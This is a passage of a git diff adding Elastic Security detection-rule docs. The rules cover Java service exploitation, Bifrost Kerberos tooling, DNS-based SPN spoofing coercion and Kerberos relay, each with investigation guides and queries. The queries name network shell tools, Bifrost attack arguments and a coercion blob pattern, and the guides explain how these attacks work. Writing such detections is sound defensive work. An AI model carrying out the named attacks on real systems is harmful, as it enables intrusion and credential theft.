https://attack.mitre.org/techniques/T1555/004/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-java-service-exploitation-via-suspicious-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-java-service-exploitation-via-suspicious-child-process.asciidoc new file mode 100644 index 0000000000..bab1d6d4c9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-java-service-exploitation-via-suspicious-child-process.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-potential-java-service-exploitation-via-suspicious-child-process]] +=== Potential Java Service Exploitation via Suspicious Child Process + +Identifies a Java process that accepts an inbound network connection and then spawns a suspicious child process. This may indicate exploitation of a Java service that runs attacker-controlled code, such as one that deserializes untrusted objects. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.lunasec.io/docs/blog/log4j-zero-day/ +* https://github.com/christophetd/log4shell-vulnerable-app +* https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security +* https://www.elastic.co/security-labs/analysis-of-log4shell-cve-2021-45046 +* https://archive.ph/Xowgn + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Java Service Exploitation via Suspicious Child Process* + + +Some Java services accept inbound connections and deserialize untrusted objects, such as a leftover Log4j socket or collector that rebuilds serialized `LogEvent` objects through `FilteredObjectInputStream`. If that path can be reached, an attacker can send a crafted payload to the listening port and get the JVM to run attacker-controlled code. This rule looks for a Java process that accepts an inbound connection on a service port from an ephemeral source port, then quickly starts a suspicious child process (shell, interpreter, curl, or wget) whose working directory is under `/opt`. That sequence is consistent with remote code execution against a Java listener rather than a normal outbound application callback. + + +*Possible investigation steps* + + +- Confirm the inbound `connection_accepted` event: Java was the accepting process, `network.direction` is ingress, the destination port is a service port (below 49152), and the source port is ephemeral (32768 or higher on Linux; 49152 or higher is typical on macOS). +- Identify the source IP and determine whether it is expected to talk to this Java service. Internal sources still matter; a collector or socket server exposed only on a private network can still be used for lateral movement. +- Review the child process that started within a few seconds of the accepted connection. Check `process.name`, `process.command_line`, `process.working_directory`, and the parent/child PID relationship to Java. +- Inspect the Java process command line and working directory to see which application accepted the connection (for example a service under `/opt`) and whether it is a known listener that deserializes input. +- Look for follow-on activity on the same host after the child process: additional shells, file writes under `/tmp` or `/opt`, new outbound connections, or persistence changes. +- Correlate with other alerts on the same host or user around the same time to see whether this is isolated or part of a broader intrusion. + + +*False positive analysis* + + +- Java services installed may spawn shells or interpreters during install, upgrade, health checks, or administrative scripts. Confirm whether the child command line matches a known maintenance pattern before treating the alert as malicious. +- Some already-excluded patterns include Flutter tooling, Jira helper scripts, and trivial `bash -c` probes such as `ulimit` or `echo $$`. Add similar exceptions for other trusted `/opt` applications when the parent Java process and command line are stable. +- Development or lab collectors that intentionally accept serialized Java objects will match this rule if they also start a shell. Restrict those hosts or exclude the specific service path if that activity is expected. +- Containerized or non-`/opt` Java applications are outside this rule's working-directory constraint and should not be tuned here; investigate those with a broader hunt if needed. + + +*Response and remediation* + + +- Isolate the affected host from the network to stop further inbound exploitation and limit lateral movement. +- Stop the suspicious child processes and, if exploitation is confirmed, stop the Java listener that accepted the connection until it can be patched or removed. +- Capture the Java process command line, listening port, child process command line, and inbound source IP for scoping. +- Hunt for the same source IP, the same Java service path, and similar child processes on other hosts. +- Remove or disable unused Java socket servers, collectors, or sample bridges that deserialize untrusted input. Patch remaining Java applications and apply a JVM-wide serialization filter where deserialization cannot be avoided. +- Restore from a known-good backup if unauthorized files, persistence, or additional malware are found. +- Escalate to the security operations center or incident response team if the inbound source, child process, or follow-on activity indicates a successful compromise. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where event.action == "connection_accepted" and network.direction == "ingress" and + + process.name : "java" and + destination.port < 49152 and source.port >= 32768] by process.pid + [process where event.type == "start" and + + /* Suspicious JAVA child process */ + process.parent.name : "java" and + process.name : ( + "sh", "bash", "dash", "ksh", "tcsh", "zsh", "ash", "mksh", "busybox", + "curl", "wget", "perl*", "python*", "ruby*", "php*", "lua*", "socat", + "nc", "ncat", "netcat", "netcat.openbsd", "netcat.traditional", "nc.openbsd", + "nc.traditional", "nohup", "setsid", "disown", "hostname", "whoami", "id" + ) and + not process.command_line like~ ( + "bash -c ulimit -u", + "bash /opt/flutter/bin/flutter*", + "bash -c echo $$", + "/bin/bash /opt/python3/bin/jira*", + "/bin/sh -c env LC_ALL=C /usr/sbin/lpc status*" + )] by process.parent.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-attack-via-bifrost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-attack-via-bifrost.asciidoc new file mode 100644 index 0000000000..88d9a5ee8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-attack-via-bifrost.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-potential-kerberos-attack-via-bifrost]] +=== Potential Kerberos Attack via Bifrost + +Identifies use of Bifrost, a known macOS Kerberos pentesting tool, which can be used to dump cached Kerberos tickets or attempt unauthorized authentication techniques such as pass-the-ticket/hash and kerberoasting. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Kerberos Attack via Bifrost* + + +Kerberos is a network authentication protocol designed to provide secure identity verification for users and services. Adversaries exploit tools like Bifrost on macOS to extract Kerberos tickets or perform unauthorized authentications, such as pass-the-ticket attacks. The detection rule identifies suspicious process activities linked to Bifrost's known attack methods, focusing on specific command-line arguments indicative of credential access and lateral movement attempts. + + +*Possible investigation steps* + + +- Review the process start event details to identify the specific command-line arguments used, focusing on those that match the suspicious patterns such as "-action", "-kerberoast", "askhash", "asktgs", "asktgt", "s4u", "-ticket ptt", or "dump tickets/keytab". +- Correlate the process execution with user activity logs to determine if the process was initiated by a legitimate user or an unauthorized account. +- Check for any recent changes in user permissions or group memberships that could indicate privilege escalation attempts. +- Investigate the source and destination of any network connections made by the process to identify potential lateral movement or data exfiltration. +- Analyze historical data for similar process executions or patterns to assess if this is an isolated incident or part of a broader attack campaign. +- Review endpoint security logs for any additional indicators of compromise or related suspicious activities around the time of the alert. + + +*False positive analysis* + + +- Legitimate administrative tasks on macOS systems may trigger the rule if they involve Kerberos ticket management. To handle this, identify and document routine administrative processes that use similar command-line arguments and create exceptions for these specific activities. +- Security tools or scripts designed for Kerberos ticket management or testing may mimic Bifrost's behavior. Review and whitelist these tools if they are part of authorized security assessments or IT operations. +- Automated system processes that interact with Kerberos for legitimate authentication purposes might be flagged. Monitor these processes and exclude them from the rule if they are verified as non-threatening and essential for system operations. +- Developers or IT personnel testing Kerberos configurations in a controlled environment could inadvertently trigger the rule. Ensure that such environments are well-documented and excluded from monitoring to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving Bifrost command-line arguments. +- Conduct a thorough review of Kerberos ticket logs and authentication attempts to identify any unauthorized access or anomalies. +- Revoke and reissue Kerberos tickets for affected users and services to ensure no compromised tickets are in use. +- Update and patch the macOS system and any related software to mitigate vulnerabilities that may have been exploited. +- Implement enhanced monitoring for Kerberos-related activities, focusing on unusual patterns or command-line arguments similar to those used by Bifrost. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args like~ "-action" and + ( + process.args like~ ("-kerberoast", "askhash", "asktgs", "asktgt", "s4u") or + (process.args like~ "-ticket" and process.args like~ "ptt") or + (process.args like~ "dump" and process.args in~ ("tickets", "keytab")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc new file mode 100644 index 0000000000..3451a963fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-potential-kerberos-coercion-via-dns-based-spn-spoofing]] +=== Potential Kerberos Coercion via DNS-Based SPN Spoofing + +Identifies directory-service access or creation events involving a MicrosoftDNS record that contains a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This blob pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure associated with DNS-based SPN spoofing used in Kerberos coercion tradecraft. Adversaries may abuse such records to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services. + +*Rule type*: query + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025.html +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Kerberos Coercion via DNS-Based SPN Spoofing* + + + +*Possible investigation steps* + + +- Which ADIDNS record or access event matched the coercion blob? + - Focus: `event.code`, `winlog.event_data.AdditionalInfo`, `winlog.event_data.ObjectDN`, `winlog.event_data.DSName`, and `winlog.computer_name` to place the marshaled CREDENTIAL_TARGET_INFORMATION blob in its MicrosoftDNS partition. + - Implication: a namespace used by real clients makes the alert high priority; a lab-only namespace reduces urgency only when later telemetry stays bounded. + +- Which account and logon session touched the record? + - Focus: `user.id`, `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, and `winlog.event_data.SubjectLogonId`. + - Hint: match `winlog.event_data.SubjectLogonId` on the same domain controller to authentication events where `winlog.event_data.TargetLogonId` matches, then read `source.ip` and `winlog.logon.type`. !{investigate{"description":"","label":"Authentication events for the subject logon session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} Missing authentication telemetry is unresolved, not benign. + - Implication: an actor, source, or logon type outside the DNS or directory-administration tier raises concern; a lab-scoped account, source, and session lowers suspicion only when the change set and authentication evidence also stay bounded. + +- Did the same session make adjacent MicrosoftDNS changes that show setup or cleanup? + - Why: Kerberos coercion setups can create, alter, and remove DNS objects around the single blob-bearing event. + - Focus: start with surrounding directory-service events for the same `winlog.event_data.SubjectLogonId`, then narrow manually with `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.OpCorrelationID`, and `winlog.event_data.AttributeLDAPDisplayName`. + - Hint: use `winlog.event_data.AttributeValue` to identify added record data or cleanup values when the source logged them, and expect to filter unrelated same-session directory activity manually. !{investigate{"description":"","label":"MicrosoftDNS directory-service events for the same session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5137","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: coordinated creation, modification, or deletion supports coercion preparation; one bounded change is less concerning only when it matches the same validation scope. + +- Could the spoofed name coerce Kerberos from valuable systems or services? + - Focus: `winlog.event_data.ObjectDN`, `winlog.event_data.AdditionalInfo`, and `winlog.event_data.DSName` for the spoofed hostname and ADIDNS zone. + - Implication: names resembling real servers, management systems, service SPN targets, or broad discovery labels increase relay risk; names isolated from real consumers carry lower practical risk. + +- Do Windows Security authentication events show the coercion progressed? + - Focus: after the directory-service event, review Windows Security logon or explicit-credential events with `event.code`, `winlog.event_data.TargetServerName`, `winlog.event_data.TargetInfo`, and `winlog.event_data.AuthenticationPackageName` tied to the spoofed hostname or expected target service. + - Hint: use `source.ip`, `winlog.event_data.TargetUserName`, and `winlog.computer_name` to identify victim systems and relay targets. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate as progressed coercion when Kerberos or service access follows the record creation, especially from machine accounts or management systems; treat it as attempted-only when authentication evidence remains absent and the local record evidence is otherwise bounded. + +- Is the suspicious pattern isolated to this actor and domain controller? + - Focus: related relay, directory-service, credential-access, or privilege-escalation alerts for `user.id`. !{investigate{"description":"","label":"Alerts associated with the creator","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare alerts on the logging domain controller's `host.id` for the same behavior families. !{investigate{"description":"","label":"Alerts associated with the domain controller","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand case scope when the same actor or controller has related suspicious alerts; keep scope local when no related alerts contradict the locally validated test scope. + +- What disposition is supported? + - Focus: record scope, actor/session, MicrosoftDNS change set, authentication progression, and related-alert scope. + - Implication: escalate when a meaningful blob-bearing record, abnormal actor/session, adjacent MicrosoftDNS changes, or follow-on Kerberos/service activity supports coercion; close only when telemetry binds those categories to a lab or security-test workflow, with external validation required for any legitimacy claim telemetry cannot prove; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Authorized security testing or lab validation can create CredMarshalTargetInfo-style ADIDNS records. Confirm by verifying that `winlog.event_data.ObjectDN` is in the test namespace named by the validation record, `user.id` or `winlog.event_data.SubjectUserSid` matches the named operator, the MicrosoftDNS change set stays bounded, and Windows Security authentication events stay inside the stated victim and target scope. If validation records are unavailable and telemetry cannot prove that exact workflow, keep the alert unresolved instead of closing on recurrence alone. +- Build exceptions from the minimum confirmed pattern: stable `user.id` or `winlog.event_data.SubjectUserSid`, the specific zone path in `winlog.event_data.ObjectDN`, and the logging `host.id`. Avoid exceptions on event codes 4662 or 5137, all MicrosoftDNS changes, or the blob pattern alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the recognized operator, ADIDNS zone or record pattern, and lab-only authentication scope that confirmed the security-test workflow. Create an exception only after the same actor, zone pattern, and domain-controller scope recur. +- If suspicious but unconfirmed, preserve a case export of the raw Windows Security event, `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.AdditionalInfo`, the actor/session evidence, the logging domain controller, and any follow-on authentication events before containment. Export the record and surrounding zone state, then use reversible containment such as tightening the affected zone's write access or temporarily removing the actor's ability to modify MicrosoftDNS objects while scope is clarified. +- If confirmed malicious, preserve the coercion record, surrounding MicrosoftDNS changes, and Windows Security authentication evidence tied to the spoofed name; contain the implicated account before destructive cleanup. Review the affected zone, replicating domain controllers, victim systems, and relay targets before removing the spoofing record and adjacent unauthorized DNS objects created by the same session. +- If Kerberos, LDAP, SMB, ADCS, or other service access followed the record, reset exposed account or machine secrets as appropriate and review for RBCD, certificate enrollment, Shadow Credentials, LAPS retrieval, password changes, group changes, service creation, or interactive SMB follow-on behavior. +- Harden by removing unnecessary ADIDNS write permissions, restricting authenticated-user access to MicrosoftDNS objects, and enforcing relay-resistant controls such as SMB signing, LDAP signing/channel binding, and EPA where applicable. +- Retain directory-service and authentication telemetry that supported the decision, and document the confirmed workflow or malicious artifact set for future analysts. + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-directory-service-access[Audit Directory Service Access] +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and +( + (event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or + (event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-relay-attack-against-a-computer-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-relay-attack-against-a-computer-account.asciidoc new file mode 100644 index 0000000000..53df43b27d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-kerberos-relay-attack-against-a-computer-account.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-potential-kerberos-relay-attack-against-a-computer-account]] +=== Potential Kerberos Relay Attack against a Computer Account + +Detects potential relay attacks by identifying coercion attempts followed by authentication events using a target server's computer account, originating from a different host. This may indicate that an attacker has captured and relayed Kerberos authentication material for the server's computer account to execute code on behalf of the compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 +* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Kerberos Relay Attack against a Computer Account* + + + +*Possible investigation steps* + + +- What do the recovered source events prove about the relay sequence? + - Why: Kerberos relay can reuse a coerced machine-account ticket when SPN selection or service protections allow it; reflective variants keep the same triage anchors: recovered pipe, `source.ip`, target dollar account, and Kerberos network auth. + - Hint: Open Investigate in Timeline before interpreting the grouped alert; filter the alert window to `event.code` 5145 and 4624/4625 with the same `winlog.computer_name` and `source.ip`. In this step, read `file.name` from the recovered 5145 source event. If endpoint file telemetry is available for this host and time window, recover the matching `file.*` evidence before using it for interpretation or remediation. Treat it as optional corroboration, not the alert source. + - Focus: recovered 5145 and 4624/4625 source events scoped by `winlog.computer_name`, `source.ip`, and `@timestamp`; in the 5145 event read `file.name` as the named-pipe value, then in the auth event read `winlog.event_data.AuthenticationPackageName`, `winlog.logon.type`, and `host.ip`. + - Implication: escalate when a known coercion pipe such as Spoolss, netdfs, lsarpc, efsrpc, netlogon, srvsvc, or winreg is followed within seconds by a Kerberos network logon from the same non-target `source.ip`; lower suspicion only when the recovered pipe/auth outcome recurs for the same source, server, and machine account and outside topology or owner evidence verifies that exact infrastructure role. + +- Does the authenticated machine account belong to the target server? + - Focus: `winlog.event_data.TargetUserName` dollar-account prefix and `winlog.event_data.TargetDomainName` from the auth source event compared with `winlog.computer_name`. + - Implication: escalate when the target account is the target server's dollar account and the source is not the server itself; if the account does not map to the target server, resolve whether the sequence paired 